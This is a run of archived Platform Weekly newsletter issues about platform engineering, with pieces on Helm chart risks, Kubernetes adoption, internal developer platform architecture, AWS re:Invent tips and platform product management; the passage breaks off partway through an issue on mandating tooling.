GMT\n\n\n  Is your Helm a risk?\n  https://platformweekly.com/issues/is-your-helm-a-risk\n  https://platformweekly.com/issues/is-your-helm-a-risk\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly swing of the platform engineering axe. How did you like this week's bonus platform weekly? We\u2019ve got so much happening in the community over the next few weeks. New certifications, some awesome new research, but most of all, PlatformCon is back (and ofc bigger than ever).\nI\u2019ve got another palette cleanser for us this week. Are your Helm charts putting you at risk?\nBut first,\n\n\n17% of security teams (so far) are shutting down all usage of AI for platform engineers. Yet, 90% report using AI daily. How is your security responding? Answer the State of AI Platform Engineering!\n\nWorkshops for PlatformCon Live Day NYC & Platform Live Day LDN just launched. Register ASAP as spots are limited!\n\nDid you know I\u2019ll be teaching two live courses in London?\nIs your Helm a risk?\n2 weeks ago, I read a post on Reddit detailing Microsoft\u2019s research on risks in public Helm charts. A huge issue considering it\u2019s basically the default package manager for k8s at this point (75% of us are using Helm according to the latest CNCF numbers).\nThis Tuesday, just a few weeks later, Nigel Douglas from Cloudsmith did an awesome community webinar (and article) explaining how to solve the exact problems identified by Microsoft.\nSo, let\u2019s talk risks.\n\n\nDefault configurations are often insecure, exposing services and granting overly permissive access (e.g., wildcard RBAC), leaving security tuning up to the user.\n\nSensitive data like credentials may be hardcoded or weakly encoded, risking leaks. I have seen far too many Helm charts storing tokens, API keys, even passwords directly in plaintext within config files\u2026\n\nCharts often bundle vulnerable dependencies, including containers or libraries, and can create \"dependency death loops\" that break deployments and widen the attack surface.\nThere are some hugely popular open source apps whose Helm charts are riddled with these issues\u2026\nSo what can you do? Simple answer, start by actually customizing the public charts to fit your orgs needs. Make sure you\u2019re storing and managing charts in trusted, version-controlled repos, and if you can only use certified sources. Plus actually validate and test your charts (ideally in an automated way through your CI/CD) to catch issues.\nThis isn\u2019t something to take only the simple answer, though.\nGo read Nigel\u2019s 7-step process to making sure you don\u2019t have insecure Helm charts that blow everything up (and prob get you fired).\nWhat are you waiting for?]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  Platform engineering is eating the world\n  https://platformweekly.com/issues/platform-engineering-is-eating-the-world\n  https://platformweekly.com/issues/platform-engineering-is-eating-the-world\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly skip off the platform engineering stone. Every week, we dive into what\u2019s hot in the platform engineering universe from best practices, lessons, to community news.\nWhat\u2019s hot?\n\n\n25% say (so far) their orgs have no strategy for AI. Answer the State of AI platform engineering and share your answers.\n\nThe next Platform Engineering Practitioner Certification course is filling up!\n\nWe\u2019ve got some awesome community events coming up in the next few weeks.\nPlatform engineering is eating the world\nYou might\u2019ve noticed me use this phrase \u201cplatform engineering eats the world\u201d more and more in my talks, articles, and in this newsletter over the last few months. If you\u2019ve taken one of our certification courses, you\u2019ve definitely heard me say it nonstop.\nThough the phrasing is inspired by Kaspar von Gr\u00fcnberg\u2019s article on the community blog from a few months ago (and ofc from Marc Andreessen\u2019s legendary article), the message comes from what I am seeing all around me while talking to you, helping orgs with their platforms, and chatting with platform engineering ambassadors.\nThe power (and challenge) of platform engineering is the way it can touch everything. It can simultaneously improve developer productivity through better standardization and dev self-service, and it can improve security or better enable AI and 100 other use cases.\nThat makes setting the scope of your platform extremely hard, but also means the potential benefits and ROI are insane.\nIt is also no surprise that platform initiatives at orgs are slowly absorbing more and more departments around them.\nWhether it is platform engineer leads seeing how easy it is to integrate security directly into the platform (the very first \u201cSecurity Platform Engineers\u201d are already working though that isn\u2019t their official title yet) or the huge changes to DevEx, Infrastructure, and even data.\nPlatforms are also absorbing AI initiatives. As it becomes more and more clear how much impact platforms can have on furthering and driving AI through the enterprise (not to mention how powerful AI can be for improving the platform).\nWe are in the early stages still. But in our cloud native world - platform engineering is definitely starting to eat.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Top 5 platform engineering memes in 2024\n  https://platformweekly.com/issues/top-5-platform-engineering-memes-in-2024\n  https://platformweekly.com/issues/top-5-platform-engineering-memes-in-2024\n  \n  \nHey there! Welcome to Platform Weekly. It\u2019s our first newsletter of the year, and while we\u2019re still in those holiday blues. Let\u2019s relax with something simple and fun. You know we love memes here in Platform Weekly. These are some of my favourites (and most successful) from the last year.\nP.S. Haven\u2019t registered for the Platform Engineering Fundamentals course starting on January 16th? It\u2019s filling up!\nTop 5 memes from 2024\nThese are 5 of my favorite memes I shared on social media, or in Platform Weekly through 2024. Which do you like best?\nReply to this newsletter with a platform engineering meme,  the funniest meme will win a spot in the upcoming Fundamentals course!\nIt's official: VMware doesn't care about you\nplease just let us code\nPlatformCon is going LIVE in London\ud83d\udc82\nLearn platform engineering\nPlatform Engineer courses & Kelsey Hightower Q&A!?]]>\n  \n  Sat, 25 Jan 2025 00:00:00 GMT\n\n\n  Cloud native to AI native with platform engineering\n  https://platformweekly.com/issues/cloud-native-to-ai-native-with-platform-engineering\n  https://platformweekly.com/issues/cloud-native-to-ai-native-with-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly ray of platform engineering sunshine. Every week, we dive into another realm of the platform engineering universe. This time on an underappreciated, but truly gamechanging topic - platform engineering and AI native infrastructure. Let\u2019s get crunchy.\nBut first,\n\n\n82% (so far) say their orgs are pushing AI. But only 50% share they have initiatives direct from the C-suite. What does your world look like? Answer the State of AI platform engineering\n\nPlatformCon LDN & NYC agenda is filling up. What speaker are you most excited for?\n\nThis is the AI platform engineering whitepaper that inspired this newsletter\nCloud native to AI native with platform engineering\nI\u2019ve spent a lot of time in the last few months arguing that platform engineering and AI are the key symbiotic relationship of the next 5 years. AI will accelerate and empower platform engineering, and platform engineering will accelerate and empower AI.\nIt\u2019s easy to understand how chatbots and code assistants might improve platform engineering, but I get a LOT of questions on the reverse. How does platform engineering accelerate AI?\nWell, Kevin Cochrane from Vultr just published a banger one-two punch community webinar & article breaking down some perfect examples of how platform engineering:\n\n\nAccelerates AI delivery with reusable infra templates (golden paths) that simplify GPU setup and let developers focus on models, not environments.\n\nEnables secure, scalable AI across hybrid and multi-cloud with composable, policy-governed infra.\n\nTurns infra into a product, giving platform teams control while powering up engineers with fast, self-service access to AI-ready resources.\nIf you\u2019ve been in tech for a while, you know how seismic the changes were in 2001, and 2013. I\u2019m a strong believer (and it seems Kevin is too) that we\u2019re in the same paradigm shift now.\nAnd like back then, you aren\u2019t going to be able to just float along with it. We will need to adapt to AI native in the same way we did to cloud native.\nTo survive in the AI native era, platform teams need to redefine how infrastructure is designed, deployed, and delivered, and turn infra from a bottleneck into an accelerant.\nAnd platform engineering is the way to do it.]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  When NOT to use K8s \u274c\n  https://platformweekly.com/issues/when-not-to-use-k8s\n  https://platformweekly.com/issues/when-not-to-use-k8s\n  \n  \n\ud83e\udd50 Hey there! It\u2019s Platform Weekly\u2026 We\u2019re the Geico of platform engineering - 3 minutes can save you 100% or more time wasted reading irrelevant news.\nSharing is caring. \ud83d\udc9e Get your friends in on the platform love by sharing this newsletter via email or social.\nShare | Tweet | Forward\nCan platform engineering get us through tough times?\nJennifer Riggins, Tech Culture Journalist\nUnfortunately, tech layoffs continue. We are seeing two ways it is affecting platform teams. Teams that have failed to get internal users on board or those that are unable to measurably express their connection to profit are sadly part of that first or second round of cuts. On the flip side, we are seeing more and more platform teams making the cut as they help app teams and whole organizations do more with less. \nAs tech faces a downturn, platform engineering presents an opportunity to decrease cognitive load, cut cloud costs, and boost delivery speed. That\u2019s the theme of my new piece in Lead Dev.\nIn order to survive \u2014 and help other teams thrive \u2014 platform engineering has to be more than a platform, control plane or developer portal. It must be a socio-technical mix of people, processes and tools that connects technical teams to business value. Platform engineering may follow similar patterns, but it is unique to each organization, as it looks to solve the distinct toil and repeated work across teams and take care of things like cloud deployments and security, enabling app teams to focus solely on the end users. It also offers a way to align technical and business goals, including cost cutting initiatives.Read the full article here.\nDon't use k8s in these situations...\nGuest Author\nOne of my careers has evolved into providing guidance, technical architecture and design, and hands-on implementation and delivery for some of the most challenging and demanding computer environments out there.\nA big part of that journey has been largely in parallel with the rise and adoption of Kubernetes as a radically different way to think about digital infrastructure. In addition to many satisfying victories, I\u2019ve also encountered a number of situations where Kubernetes has done more harm than good or even been the wrong choice. Here\u2019s when you should avoid adopting Kubernetes:\nIf your application isn\u2019t ready for it\u2026\nLet\u2019s face it, not every application resembles a clean 12-factor architecture. Sometimes existing legacy investments can pose significant challenges, such as: \n\n\nlicensing agreements that only allow container execution on effectively already licensed legacy servers\n\nlarge databases that were not designed with automation or containerization in mind (you don\u2019t have to containerize the database!)\nIf the application in question cannot handle multiple concurrent users as a consequence of design, a k8s adoption will quickly prove costly and unsuccessful. If the container images being scheduled are over 4gb in size, very quickly the benefits promised by resilience and uptime may be constrained severely by the amount of data that needs to move. \nAlways include a holistic review of application readiness when considering an infrastructure modernization upgrade.\nIf you lack operational expertise\u2026\nKubernetes as a technology stack combines some of the most advanced skill sets typically reserved for an operations role (or perhaps three) into a very powerful package. It is often not clear from a simple YAML manifest what an operator may need to know to be successful at scale. \nIt is rare that a developer is well versed in measuring virtual network bandwidth, performing packet captures and analysis, understanding CPU core load average, or other advanced network engineering topics (such as VXLAN tunnels, or even BGP integration depending on the desired CNI overlay). \nAdditionally, if not directly outsourced to a cloud provider (and subsequently, their operational team), systems administration and hardening knowledge and skills in SElinux integration, SEComp/AppArmor tuning, eBPF module management, or understanding kernelspace vs userspace and distributed architecture. Kubernetes is very capable of encapsulating every discipline above, and even more. Entrust to staff accordingly.\nWith thoughtful consideration, an appropriate workload, enough expertise for operations and maintenance, and well-defined processes, Kubernetes can be a powerful tool that unlocks new levels of organizational productivity and scale. \nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Check out this great step-by-step guide to a DevOps CI/CD project using Docker, Jenkins, Ansible & Minikube for PoC/Development.\n\ud83e\udd50 Here\u2019s one take on how to make being on-call suck less.\n\ud83e\udd50 Do you think government should regulate AI? OpenAI\u2019s CEO says yes.\n\ud83e\udd50 Have we found a better way to understand and measure DevEx?\n\ud83e\udd50 PlatformCon 2023 is almost here, and so are more opportunities to connect with the platform engineering community.\nJoin us in-person in London, San Francisco, or Austin. Or tune in virtually to one of our pre-kickoff events to get the scoop \ud83c\udf68 on what\u2019s hot in platform engineering. Check out our satellite events here.\n\ud83e\udd50 DevOps burnout is real, y\u2019all.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Tue, 23 May 2023 00:00:00 GMT\n\n\n  Did you see McKinsey's new platform blueprints?\n  https://platformweekly.com/issues/did-you-see-mckinseys-new-platform-blueprints\n  https://platformweekly.com/issues/did-you-see-mckinseys-new-platform-blueprints\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, the platform engineering newsletter that\u2019s as as satisfying as hitting a hole-in-one on the mini-golf course. Let\u2019s get bakin\u2019\nDon't miss the first-ever platform engineering blueprints\nJust a few months ago, if you wanted to build an Internal Developer Platform (IDP), you had to learn by doing. There was no tried and tested blueprint to follow \u2013 just the examples of big companies with way more money and resources than you. This made it hard to build platforms in an efficient, reliable way.\nThe team at McKinsey changed the game when they shared the first-ever reference architecture for Internal Developer Platforms at PlatformCon 2023. They took what they learned from hundreds of real-life setups and turned it into standard patterns that anyone can follow. \ud83e\udd2f Crazy cool, right?\nLet\u2019s take a look.\nAll of the tech and tools that can go into your IDP can be clustered into five main planes of functionality:\n\n\nThe Developer Control Plane level is where the primary interfaces for developers live. Good platforms let developers decide which interface to use on a workload-by-workload basis and keep existing workflows intact where possible by defaulting to code.\n\nThe Integration And Delivery Plane level has the tools that build, store, configure, and deploy requests from the developer control plane. \n\nThe Resource Plane level contains all resource components necessary to run the app. The resources are configured as code using Terraform.\n\nThe Monitoring And Logging Plane provides real-time metrics and logs for apps and infrastructure. \n\nThe Security Plane manages secrets and identity to protect sensitive information.\nThe image above shows what an AWS-based setup might look like. Organizations using this reference architecture should use this as a starting point and seek to incorporate whatever components are already in place. My team at Humanitec also developed reference architectures for GCP and Azure based on McKinsey\u2019s model \u2013 highly recommend checking those, also!\nShare | Tweet | Forward\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\u064eQuick Bites\n\n\nGenerative AI \ud83e\udd1d causal AI\n        Transforming DevOps innovation\nBecause ChatGPT won\u2019t transform DevOps on its own, at least according to this Forbes opinion.\n\n\nAn interesting podcast about the platform engineering pitfall you aren\u2019t looking out for (yet).\n\n Something for your professional development. What does it mean to be a senior software engineer in big tech?\n\n\nTrying to wrap your head around the Platform Tooling Landscape? The newest version on the updates platformengineering.org is great if you\u2019re in a pinch.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 11 Sep 2023 00:00:00 GMT\n\n\n  AWS re:Invent travel guide\n  https://platformweekly.com/issues/aws-re-invent-travel-guide\n  https://platformweekly.com/issues/aws-re-invent-travel-guide\n  \n  \nIt\u2019s that time of year, friends. And no, we\u2019re not talking about Christmas markets, mulled wine and dubiously cooked festive sausages, that\u2019s next week! Today we\u2019re talking AWS re:Invent.\nAs this is my second year, I\u2019m no longer a total newbie. So in this newsletter, I wanted to share with you my list of must see talks, events, and outside the conference things to do!\nBookmark this issue as I\u2019m going to break down tips per day, starting with pre-conference events like Midday Madness, before getting into things like Re:Play and other bits!\n\u200d\nBefore you leave & packing list\nWhilst it looks a bit warmer for next week right now, it is typically between 56\u00b0F / 13\u00b0C in the day and down to 35\u00b0F / 2\u00b0C at night, definitely jacket weather.\n\n\nSolid walking shoes. I'm literally taking my hiking boots. You\u2019ll walk a lot.\n\nSnacks. Food is provided, but they\u2019re 102% corn syrup (you\u2019ve been warned).\n\nA solid portable battery pack + a large water bottle.\n\nPack fewer t-shirts than you need if you plan to get swag. \n\nGo through social media and DM those you want to hangout with, because when things get going, you\u2019ll have zero time.\n\nPre-register for side events by looking at conferenceparties.com (don\u2019t forget to sign up to the now legendary House of Kube on Monday night at Area15!)\nSunday & Monday: The conference kick-off\n\n\nIf you land early, take a walk at Red Rock Canyon which is only a 20-30 minutes drive. You\u2019ll need to rent a car though, as Uber\u2019s are not possible without phone signal.\n\nWhen jet lag has you up at 5am and you\u2019re not in the main hotels, head over to the Venetian with your badge on, you\u2019ll be surprised how many people are around. There\u2019s many morning sessions like yoga, breakfasts and even a 5K run on the agenda.\n\nDo a reconnaissance walk, because the conference is huge. Key things to find are areas like the expo hall, certified lounge, food courts and any hotel bridge connections, the venue is a total labyrinth. I\u2019ll also be on Ona booth #632 in the expo, so come say hi!\n\nMidday Madness at Caesars Forum is \u2018the unofficial kick-off to re:Invent\u2019. It runs both Sunday (12pm-8pm) and Monday (8am-6pm). On Sunday there\u2019s the Road to re:Invent hackathon where 50 developers compete for $100K. Free food, drinks, and swag.\nTuesday & Wednesday: Main conference\n\n\nAt 8am-10:30am Tuesday everyone will head to Matt Garman's keynote as this is where all the big service announcements come. Expect queues of ~2hrs for the main keynote room, or 1hrs for the overflow ones. My suggestion instead is to catch the stream and instead make use of the \u2018hallway track\u2019, sessions or expo. Consider also the EKS and Kubernetes sessions like at AWS containers Kiosk and Developers Pavilion.\n\nAt 5pm-8pm Tuesday, Sam Barlien & the Platform Engineering community are hosting a roundtable discussion. 40 platform engineers together for group platform therapy.\n\nAt 5:30pm-8:30pm, there is a Platform Engineering community workshop, \u201cYou have Terraform. How do you orchestrate it?\u201d\nThursday & Friday: Conference wrap up\nWeezer playing re:Play 2024\n\n\nThe re:Play party is on Thursday night @ 7:30pm in the Las Vegas Festival Grounds. Last year Weezer were playing and it was the absolute highlight of the week for me. The acts for this year will be announced during re:Invent.\n\nThe iconic Werner Vogels Keynote is at 3:30pm-4:30pm. This is always more of a developer-focussed, not so service-announcing session to close out the week. It\u2019s typically one of the more entertaining, casual keynotes. \n\nIf you\u2019ve got some time to kill on your last day, Fremont Street downtown is always popular. Last year I also hit up The Neon Museum which was very \u2018Vegas\u2019 and an enjoyably calm trip away from the busy strip.\nCome say hi, and see agents update 1000 repos at once\nI\u2019ll be at the Ona booth. Swing by to see a demo of Automations updating 1000\u2019s of Backstage configurations simultaneously using an orchestrated fleet of AI software engineers. \nTo help you find the booth I used Nano Banana to create a hyper-realistic mockup. Failing that, here\u2019s a conventional map (booth #632). Or just look for the Hawaiian shirts!\nIt\u2019s been a fun year of guest writing for Platform Weekly. My favorite episodes this year were why we left Kubernetes and why you should mandate tooling if you want to go back and check those out. Final reminder to bookmark the newsletter to come back to it in the week.\nSee you in Vegas !]]>\n  \n  Tue, 02 Dec 2025 00:00:00 GMT\n\n\n  Platform got haters? You might not be doing anything wrong.\n  https://platformweekly.com/issues/platform-got-haters-you-might-not-be-doing-anything-wrong\n  https://platformweekly.com/issues/platform-got-haters-you-might-not-be-doing-anything-wrong\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, where we dive into platform engineering like a kid in a ball pit \u2013 cool, calm, and with no fear. Let\u2019s get bakin\u2019\nDid your platform engineering talk not make the cut for KubeCon? \u2702\ufe0f Give it the spotlight it deserves by sharing it with the #1 global community of platform practitioners instead.\nPeople hate your platform? You might not be doing anything wrong.\nIf you\u2019re starting out on your platform engineering journey, you cannot and should not try to please everybody. Here\u2019s why:\n1\ufe0f\u20e3 It\u2019s impossible to cover every technical case.\nThe world of cloud-native is too differentiated and crowded for your platform to cover all edge cases. Building a platform that meaningfully covers the K8s ecosystem is challenging enough. Weaving in serverless, VMs, and all of your legacy tech is impossible. \nThe same is true for resources. Is it great to have every new AWS service on your platform? Maybe in theory. But this would be impossible to maintain at high quality and with good DevEx.\nIf your developers want SLA-backed, supported resources, they\u2019re going to have to stay on your golden paths. Don\u2019t over-optimize for the 20% of edge cases at the expense of the other 80% of use cases.\n2\ufe0f\u20e3 You\u2019ll always have developers who hate your platform.\nIt sucks, but it\u2019s true. Even if they don\u2019t tell you, maybe 15-25% of your developers may still boycott you and your platform efforts. More often than not, they\u2019ll be juniors (or, more dangerously, juniors who think that they\u2019re senior). They haven\u2019t seen shit hit the fan at speed and scale.\nDon\u2019t spend all your time trying to convince these folks. Let them deviate from your golden paths, and make sure that they know they\u2019re on their own.\nTry this instead \ud83d\udc49 The most effective way to drive platform adoption is by investing in a dedicated product manager. A platform product manager can help translate conflicting perspectives and feedback into an actionable set of priorities. This way, you know that you\u2019re building a great Internal Developer Platform for all of your users, not just a vocal minority.\nShare | Tweet | Forward\n\u200d\n\u064eQuick Bites\n\n\nMcKinsey stirred up some controversy when they published this report on how to measure software developer productivity. Gergely Orosz and Kent Beck published a great article explaining why they think McKinsey\u2019s framework could set software engineering organizations back and offer a different approach.\n\n\nAnd another great take on measuring developer productivity from Abi Noda:\n\n\nIt isn\u2019t SRE vs. platform engineering, it\u2019s SRE and platform engineering. Here\u2019s how platforms can take SRE to the next level.\n\nBen Voss created this comprehensive guide to value stream mapping for platform product managers.\n\n\u201cI\u2019ve been writing software for 25 years, and nothing renders a software team useless like Scrum does.\u201d\n\n\nA few weeks ago, HashiCorp\u2019s move to a Business Source License (BSL) set off a big conversation about the future of open source. The OpenTF Manifesto emerged as prominent opposition to HashiCorp\u2019s decision, but not everyone is on board. One organization explains why they are not supporting OpenTF.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 11 Sep 2023 00:00:00 GMT\n\n\n  AKS LTS For Kubernetes\n  https://platformweekly.com/issues/aks-lts-for-kubernetes\n  https://platformweekly.com/issues/aks-lts-for-kubernetes\n  \n  \n\ud83e\udd50 Hey there! It\u2019s Platform Weekly, the newsletter that makes platform engineering as fun as a weekend in Vegas. What happens here, stays here. Let\u2019s get bakin\u2019\nWant more Platform Engineering and DevOps news, analysis, and resources? Consider signing up for a newsletter from our friends over at The New Stack. They have daily and weekly newsletter options to keep devs, engineers, and the cloud native community in-the-know.\nAKS LTS for Kubernetes\nFawad Khaliq, Founder and CTO at Chkk\nAKS launched a Long Term Support (LTS) train for its k8s releases. This is splendid and I urge EKS and GKE to follow suit. AKS also launched Cluster Auto-Upgrades, similar to GKE Autopilot. This will definitely help with some of the k8s upgrade pains that I highlighted in my last blog.\nSince no good deed should go unpunished, let me also enumerate a few things that won\u2019t be fixed with LTS support and auto-upgrades.\nYour (SRE/DevOps teams) still own the layers on top\nLTS and auto-upgrades will only focus on nodes, control planes, and managed services from each cloud. From the cloud substrate, your add ons (load balancer, DNS, monitoring, etc,) are the same as any other app\u2026 but you know they aren\u2019t. KubeCon was rife with stories on how teams have tried and failed at auto-upgrading these components. (I\u2019ll share some of these stories in a follow-up blog)\nUpgrade workflows contain business logic\nEach upgrade\u2013even inside the same company\u2013is different from the next, and not just because you are going from dev > staging > prod route. You need to understand applications and their business constraints before you can bump an add on or an application version, let alone upgrade the entire cluster. Customers have told me firsthand about hacks they have built to stop Autopilot upgrades, as it\u2019s treating everything inside a cluster as cattle, which is never true.\nLTS will make k8s stacks more brittle\nRegular upgrades, despite being super painful, have the upside of pulling in new patches (security fixes, features, performance optimizations, etc.) which will happen at a much slower cadence in LTS trains.\nTL;DR: It\u2019s great to see this is happening (thanks AKS!) but the upgrade pain is here to stay for the foreseeable future. Managed add-ons from cloud providers will help here but there won\u2019t be enough of those in the short-/medium-term. The only single owner responsible for making sure all the layers (cloud substrate, clusters, add-ons, applications) work seamlessly is you (SRE/DevOps teams). I\u2019d love to hear about your experiences with auto-upgrades and how you\u2019re thinking about operationalizing LTS releases.\nConnect with Fawad on Twitter and LinkedIn for more K8s news and updates.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Not only can Internal Developer Platforms improve DevEx, they also have measurable benefits for the businesses that invest in them. This article is a must-read for anyone who wants to make the business case for their platform.\n\ud83e\udd50 Speaking of making the business case for your platform, an oldie but a goodie. The first step to successfully building your platform is building it together.\n\ud83e\udd50 The folks at Cloudknit shared their platform engineering challenges and solutions.\n\ud83e\udd50 This DevOps engineer believes every DevOps engineer needs ChatGPT in their toolkit.\nThe biggest platform engineering event of the year is almost here!\n2 days. 5 topic tracks. 20k platform engineers. 150+ talks. All on one virtual stage this June 8/9. Register now.\n\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 22 Jun 2023 00:00:00 GMT\n\n\n  Design principles for successful platforms\n  https://platformweekly.com/issues/design-principles-for-successful-platforms\n  https://platformweekly.com/issues/design-principles-for-successful-platforms\n  \n  \nHey there! It\u2019s Platform Weekly, the #1 doctor recommended source for your platform engineering needs. Let\u2019s get bakin\u2019 \ud83e\udd50 \nDesign principles for successful platforms, according to top engineering orgs\nIn my time researching and talking to hundreds of platform teams in the community, I\u2019ve noticed that all successful Internal Developer Platforms (IDPs) follow similar design principles. McKinsey\u2019s IDP reference architectures (which I shared in last week\u2019s newsletter) were informed in large part by these same principles, so I recommend learning (and following) them\ud83d\udc47\n1\ufe0f\u20e3 Prioritize your users. Developers are your platform\u2019s most important customers, so do what it takes to deeply understand their workflows and pain points. Keep the conversation going by involving users in the design, prioritization of features, and testing. This is how you ensure the platform is fully self-service and usable.\n2\ufe0f\u20e3 Run your platform like a start-up. You\u2019ll want a small central team that truly owns the platform and is responsible for marketing it. And (don\u2019t forget this bit) they\u2019ll need the resources to make it all happen.\n3\ufe0f\u20e3 Build golden paths, not golden cages. If you think forcing developers to use your abstractions is going to work, you\u2019re 100% wrong. And you\u2019ll create a ton of security vulnerabilities in the process.\n4\ufe0f\u20e3 Drive standardization by design. Platform engineers should define how to vend resources and configuration so developers can self-service the IDP with confidence that the result is secure, compliant, and well-architected.\n5\ufe0f\u20e3 Implement Dynamic Configuration Management. Dynamic Configuration Management slashes config complexity and enforces standardization by continuously generating app and infrastructure configs with every. single. deployment. \n6\ufe0f\u20e3 Let developers decide on their platform interface. IDPs should never break developers\u2019 workflows or (try to) force them to use a specific interface. Instead, they use a code-based workflow by default, with the option to use a UI, CLI, or API.\n7\ufe0f\u20e3 Keep code as the single source of truth. When everyone is working from the same version, the risk of errors is minimized.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\u064eQuick Bites\n\n\n\u201cStill using story points? Tired of arguing about if the defects in this release are enhancement requests or not? Just fed up with poor quality? \u2018Code harder\u2019 doesn\u2019t fix it.\u201d Bryan Finster shared how his team found a solution in a 5-minute read you won\u2019t want to miss.\n\nDr. Milan Milanovi\u0107 shared what he thinks a DevOps engineer\u2019s roadmap should look like in this viral tweet. What do you think of his picks?\n\n\nI enjoyed this article about how DoorDash migrated from StatsD to Prometheus, particularly because it discusses how engineering organizations respond when legacy infrastructure fails to adequately scale alongside the business.\n\nFor the folks working on Slack\u2019s platform, the key to improving developer experience was \u201capproaching challenges with the openness and curiosity of a beginner.\u201d The lessons shared in this TNS article definitely apply to Internal Developer Platforms, also.\n\nA friendly reminder to invest in life outside of work. Platforms can only do so much to prevent burnout. \nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 11 Sep 2023 00:00:00 GMT\n\n\n  Do you really need a product manager for your platform? \ud83e\udd14\n  https://platformweekly.com/issues/do-you-really-need-a-product-manager-for-your-platform\n  https://platformweekly.com/issues/do-you-really-need-a-product-manager-for-your-platform\n  \n  \nHi there,\nI spent all of last week on cloud native Twitter so you don\u2019t have to. \ud83d\ude09\nLet\u2019s get bakin\u2019.\nDo you really need a product manager for your Internal Developer Platform?\nThe short answer is yes. Platform as a product and product management go hand-in-hand.\nLike any other product, platforms are optional to use, carefully designed to make using them easier and evolve as technology changes. As such, it\u2019s important to apply the same principles and processes to platforms as you would to products.\nPMs drive user research, build trust with your customers (the developers, ofc), and ensure that your platform team is receiving reliable feedback on the product.\nBut Luca, you say, we don\u2019t need a PM. \nI\u2019ve heard that before, among some other reasons organizations give for not hiring a PM. Here\u2019s my take:\n1. \u201cPMs are too expensive\u201d\nBut they\u2019re much cheaper than building a platform your developers don\u2019t want or won\u2019t use.\nIf you think your PM won\u2019t be effective, it\u2019s time to restructure your project management, not give up entirely.\n2. \u201cOur engineering managers can do it instead\u201d\nThis works in some situations, but not all. Engineering managers are usually focused on getting their projects completed on time and up to standard. It\u2019s not the same as a role devoted to understanding and meeting your customers\u2019 needs.\n3. \u201cWe can just mandate usage and not worry about it\u201d\nTrust me, you\u2019ll end up worrying about other things.\nDevelopers will resent being forced to use a platform, especially if they believe their needs weren\u2019t considered or prioritized when it was made.\nThey might also decide to continue using their own tools and solutions anyways, creating \u201cshadow infrastructure.\u201d When this happens, your platform is no longer providing value and you\u2019re opening yourself up to more security risk to boot.\n4. \u201cThe platform team already knows what developers need\u201d\nDo you really, though? \ud83d\ude43\nUnless you\u2019re a mind reader, you\u2019ll want to do user research to really understand your developers.\nKnowing the problem and having a solution isn\u2019t enough. You have to know how your solution can make your developers\u2019 lives easier (if it does at all)\nDon\u2019t do this work, and you\u2019ll wind up with features folks don\u2019t need and won\u2019t use.\n\ud83e\udd50 Observability is gaining traction. But what does \"observability\" actually mean? Hashicorp SRE Dan Slimmon writes:\n\nEverybody wants to build observable systems, then make their systems more observable, and then get some observability into their observability so they can observe while they observe.\nIncoherent, right? In this article, Dan proposes one more concrete definition.\n\ud83e\udd50 PlatformCon 2022 proved once more the growing popularity of Platform Engineering. Aeris Stewart highlights the key takeaways from the conference in this article written to The New Stack.\n\ud83e\udd50 If you are a member of the Platform Engineering community, this post by Gartner's Research VP Manjunath Bhat will brighten up even the \ud83d\udca9-iest day. Platform Engineering is now officially helpful for improving developer experience \ud83d\udc47 Big day for the platform engineering space!\n\ud83e\udd50 Calling all Product Managers! Looking for handy resources? Sarah Tolle did some homework \ud83d\udcda for y'all and listed 13 top product management blogs and websites of 2022.\n \ud83e\udd50 And as said last time, no newsletter is complete without a meme \ud83d\ude09\nAnd that's it for issue #2. Hope you found it useful (if so, share it with friends\ud83d\udc47).\nThis is a community-driven newsletter, so if you have anything \ud83d\udd25 to share from the cloud native world, send it our way. You can collaborate with us here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  You need to start mandating your tooling\n  https://platformweekly.com/issues/you-need-to-start-mandating-your-tooling\n  https://platformweekly.com/issues/you-need-to-start-mandating-your-tooling\n  \n  \nIn the bustle of a cafe in the Excel Centre at KubeCon in a conversation about platform trends I said: \u201cplatform leaders should be mandating far more than they currently are\u201d. The conversation was with Daniel Bryant. \nI remember his face staring at me as if to say: \u201cThat\u2019s very bold\u201d. \nAnd he\u2019d be right (or at least his facial reaction was). It is bold. \nIn the platform space we\u2019ve been repeating mantras to each other like \"our developers should choose their tools\" and \"we shouldn't mandate\". But with such soft conviction all it takes is one or two vocal developers to complain and our platform project is halted or even derailed. \nAnd it\u2019s these cautious platitudes that are likely undermining your platform success. \nConviction is the fuel that drives meaningful progress. I've seen this first-hand in my own transition from engineering to product, and I\u2019d like to take this newsletter to make my case. \nHopefully you (and Daniel) will not think I\u2019ve entirely lost my mind by the end! \nTop-down versus bottoms-up is a \u2018moot point\u2019\nIt\u2019s long been a topic of conversation that adoption of platform tooling is a huge problem. We all know it by now. Conversations usually centre on a dichotomy where it\u2019s either:\n\n\nTop-down - We are \u2018forcing\u2019 